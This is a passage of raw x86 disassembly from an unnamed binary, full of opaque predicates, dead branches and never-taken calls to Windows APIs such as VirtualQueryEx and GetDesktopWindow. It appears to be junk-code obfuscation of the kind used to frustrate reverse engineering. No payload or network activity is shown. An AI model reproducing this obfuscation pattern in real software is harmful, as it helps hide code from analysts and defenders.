and dword [ebp - 0x3688], 0
mov eax, dword [ebp - 0x3688]
mov dword [ebp - 0x4658], eax
mov dword [ebp - 0x868], 1
jmp 0x466355
mov eax, dword [ebp - 0x868]
dec eax
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x868], 0
jl 0x46639b
mov byte [ebp - 0x4c7], 0
movzx eax, byte [ebp - 0x4c7]
test eax, eax
je 0x466376
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov byte [ebp - 0x4c9], 0
movzx eax, byte [ebp - 0x4c9]
test eax, eax
je 0x466399
push 0x1608
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x466348
lea ecx, [ebp - 0x10d8]
call fcn.004148c7
mov dword [ebp - 0x524], 0x8f8
mov dword [ebp - 0x1034], 0xc63c4078
mov dword [ebp - 0xa4c], 0xffffffff
mov dword [ebp - 0x3efc], 0x6890c544
mov dword [ebp - 0x132c], 0x28ed4a55
mov dword [ebp - 0xbcc], 0
mov dword [ebp - 0xe54], 3
mov dword [ebp - 0xf94], 0
jmp 0x466405
mov eax, dword [ebp - 0xf94]
inc eax
mov dword [ebp - 0xf94], eax
cmp dword [ebp - 0xf94], 3
jge 0x466421
mov eax, dword [ebp - 0xf94]
mov dword [ebp + eax*4 - 0x4428], 1
jmp 0x4663f8
cmp dword [ebp - 0x524], 0
jne 0x46643a
push 8
pop eax
test eax, eax
jne 0x46643a
and dword [ebp - 0x36a8], 0
jmp 0x466444
mov dword [ebp - 0x36a8], 1
cmp dword [ebp - 0x524], 0
je 0x46650a
mov eax, dword [ebp - 0xbcc]
mov dword [ebp - 0x4660], eax
mov eax, dword [ebp - 0xe54]
mov dword [ebp - 0x4668], eax
mov eax, dword [ebp - 0xbcc]
inc eax
mov dword [ebp - 0xbcc], eax
mov eax, dword [ebp - 0x4660]
cmp eax, dword [ebp - 0x4668]
jg 0x466490
mov dword [ebp - 0x1acc], 1
jmp 0x466497
and dword [ebp - 0x1acc], 0
mov eax, dword [ebp - 0x1acc]
mov dword [ebp - 0x132c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x4428]
mov dword [ebp - 0x3690], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3690]
mov dword [ebp + eax - 0x4428], ecx
mov eax, dword [ebp - 0x132c]
cmp eax, dword [ebp - 0x3690]
jg 0x4664e2
mov dword [ebp - 0x1ad4], 1
jmp 0x4664e9
and dword [ebp - 0x1ad4], 0
mov eax, dword [ebp - 0x1ad4]
mov dword [ebp - 0xa4c], eax
cmp dword [ebp - 0xa4c], 0
je 0x46650a
mov dword [ebp - 0x3698], 1
jmp 0x466511
and dword [ebp - 0x3698], 0
mov eax, dword [ebp - 0x524]
cmp dword [ebp - 0x3698], eax
jg 0x46652b
mov dword [ebp - 0x1adc], 1
jmp 0x466532
and dword [ebp - 0x1adc], 0
mov eax, dword [ebp - 0x524]
cmp dword [ebp - 0x1adc], eax
jl 0x46654c
mov dword [ebp - 0x36a0], 1
jmp 0x466553
and dword [ebp - 0x36a0], 0
mov eax, dword [ebp - 0x524]
cmp dword [ebp - 0x36a0], eax
jge 0x466573
mov eax, 0x63ec58f5
test eax, eax
jne 0x466573
and dword [ebp - 0x1ae4], 0
jmp 0x46657d
mov dword [ebp - 0x1ae4], 1
mov eax, dword [ebp - 0x1ae4]
sub eax, dword [ebp - 0x3efc]
cmp dword [ebp - 0x36a8], eax
jle 0x46659d
mov dword [ebp - 0x1aec], 1
jmp 0x4665a4
and dword [ebp - 0x1aec], 0
mov eax, dword [ebp - 0x524]
cmp dword [ebp - 0x1aec], eax
jle 0x4665be
mov dword [ebp - 0x36b0], 1
jmp 0x4665c5
and dword [ebp - 0x36b0], 0
mov eax, dword [ebp - 0x36b0]
mov dword [ebp - 0x1034], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xe54]
cmp dword [ebp + eax - 0x4428], ecx
je 0x4665f1
mov dword [ebp - 0x1af4], 1
jmp 0x4665f8
and dword [ebp - 0x1af4], 0
mov eax, dword [ebp - 0xa4c]
cmp dword [ebp - 0x1af4], eax
je 0x466612
mov dword [ebp - 0x1afc], 1
jmp 0x466619
and dword [ebp - 0x1afc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4428]
mov dword [ebp - 0x5390], eax
mov eax, dword [ebp - 0xe54]
cmp dword [ebp - 0x1034], eax
jle 0x466646
mov dword [ebp - 0x36b8], 1
jmp 0x46664d
and dword [ebp - 0x36b8], 0
mov eax, dword [ebp - 0xbcc]
sub eax, dword [ebp - 0x36b8]
imul eax, dword [ebp - 0x1afc]
cmp eax, dword [ebp - 0x1034]
jg 0x46667a
cmp dword [ebp - 0xe54], 0
jne 0x46667a
and dword [ebp - 0x36c0], 0
jmp 0x466684
mov dword [ebp - 0x36c0], 1
mov eax, dword [ebp - 0xa4c]
cmp dword [ebp - 0x36c0], eax
je 0x46669e
mov dword [ebp - 0x1194], 1
jmp 0x4666a5
and dword [ebp - 0x1194], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1194]
mov dword [ebp + eax - 0x4428], ecx
cmp dword [ebp - 0x1194], 0
jne 0x4666d2
mov eax, 0xfffd
test eax, eax
jne 0x4666d2
and dword [ebp - 0x1b04], 0
jmp 0x4666dc
mov dword [ebp - 0x1b04], 1
imul eax, dword [ebp - 0x1b04], 0x4a10
test eax, eax
je 0x466894
mov dword [ebp - 0x119c], 0x6a447d05
mov dword [ebp - 0x3b6c], 0xfffffffc
mov dword [ebp - 0xbd4], 0
jmp 0x46671b
mov eax, dword [ebp - 0xbd4]
inc eax
mov dword [ebp - 0xbd4], eax
cmp dword [ebp - 0xbd4], 2
jge 0x466737
mov eax, dword [ebp - 0xbd4]
mov dword [ebp + eax*4 - 0x10e0], 0x45cb
jmp 0x46670e
cmp dword [ebp - 0x132c], 1
jne 0x46674c
mov dword [ebp - 0x36d0], 1
jmp 0x466753
and dword [ebp - 0x36d0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x10e0]
mov dword [ebp - 0x5398], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x10e0]
mov dword [ebp - 0x53a0], eax
mov dword [ebp - 0x119c], 0xcc114ff6
mov eax, dword [ebp - 0x119c]
mov dword [ebp - 0x53a8], eax
cmp dword [ebp - 0x119c], 1
jne 0x4667a4
mov dword [ebp - 0x36c8], 1
jmp 0x4667ab
and dword [ebp - 0x36c8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x10e0]
cmp eax, dword [ebp - 0x36c8]
jge 0x4667d9
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x10e0], 0
jne 0x4667d9
and dword [ebp - 0x1b0c], 0
jmp 0x4667e3
mov dword [ebp - 0x1b0c], 1
mov eax, dword [ebp - 0xa4c]
cmp dword [ebp - 0x1b0c], eax
jle 0x4667fd
mov dword [ebp - 0x1b14], 1
jmp 0x466804
and dword [ebp - 0x1b14], 0
mov eax, dword [ebp - 0x36d0]
cmp eax, dword [ebp - 0x1b14]
jl 0x46681e
mov dword [ebp - 0x36d8], 1
jmp 0x466825
and dword [ebp - 0x36d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10e0]
add eax, dword [ebp - 0x36d8]
je 0x466856
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x10e0], 0
je 0x466856
mov dword [ebp - 0x3d90], 1
jmp 0x46685d
and dword [ebp - 0x3d90], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10e0]
mov dword [ebp - 0x53b0], eax
mov eax, dword [ebp - 0x1034]
mov dword [ebp - 0x53b8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10e0]
mov dword [ebp - 0x3b6c], eax
jmp 0x46694e
mov dword [ebp - 0x53c0], 1
push 3
lea ecx, [ebp - 0x4dac]
call fcn.004147f5
mov dword [ebp - 0x53c8], 0xfffffff7
mov dword [ebp - 0x53d0], 0xfffffffd
mov dword [ebp - 0x53d8], 0xa198
mov dword [ebp - 0x41d4], 1
mov dword [ebp - 0xbdc], 0
jmp 0x4668ec
mov eax, dword [ebp - 0xbdc]
inc eax
mov dword [ebp - 0xbdc], eax
cmp dword [ebp - 0xbdc], 3
jge 0x46690b
push dword [ebp - 0xbdc]
lea ecx, [ebp - 0x4dac]
call fcn.004148e3
and dword [eax], 0
jmp 0x4668df
push 0
lea ecx, [ebp - 0x4dac]
call fcn.004148e3
and dword [eax], 0
cmp dword [ebp - 0x524], 0
jg 0x466930
mov dword [ebp - 0x1b1c], 1
jmp 0x466937
and dword [ebp - 0x1b1c], 0
mov eax, dword [ebp - 0x1b1c]
mov dword [ebp - 0x41d4], eax
lea ecx, [ebp - 0x4dac]
call fcn.004148c7
mov dword [ebp - 0x2b34], 0xd444182b
mov dword [ebp - 0x3b4c], 0xffffffff
mov dword [ebp - 0x3b48], 0xffffffff
mov dword [ebp - 0x3b44], 0xffffffff
mov dword [ebp - 0x3b40], 0xffffffff
mov dword [ebp - 0xe5c], 0
jmp 0x466999
mov eax, dword [ebp - 0xe5c]
inc eax
mov dword [ebp - 0xe5c], eax
cmp dword [ebp - 0xe5c], 1
jge 0x4669b5
mov eax, dword [ebp - 0xe5c]
mov dword [ebp + eax*4 - 0x3b74], 0x4a8c6a53
jmp 0x46698c
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x3b4c], 0
jmp 0x4669e0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x3b4c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3b4c], 0
jl 0x466a09
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4c]
cmp dword [ebp + eax*4 - 0x3b74], 0
je 0x466a07
jmp 0x466a09
jmp 0x4669c7
mov byte [ebp - 0x4cb], 0
movzx eax, byte [ebp - 0x4cb]
test eax, eax
je 0x466a2a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0x1c7c], 1
push 3
lea ecx, [ebp - 0x151c]
call fcn.004147f5
push 1
lea ecx, [ebp - 0x4cd4]
call fcn.004147f5
mov dword [ebp - 0xc4], 0
jmp 0x466a67
cmp dword [ebp - 0xc4], 3
jge 0x466a89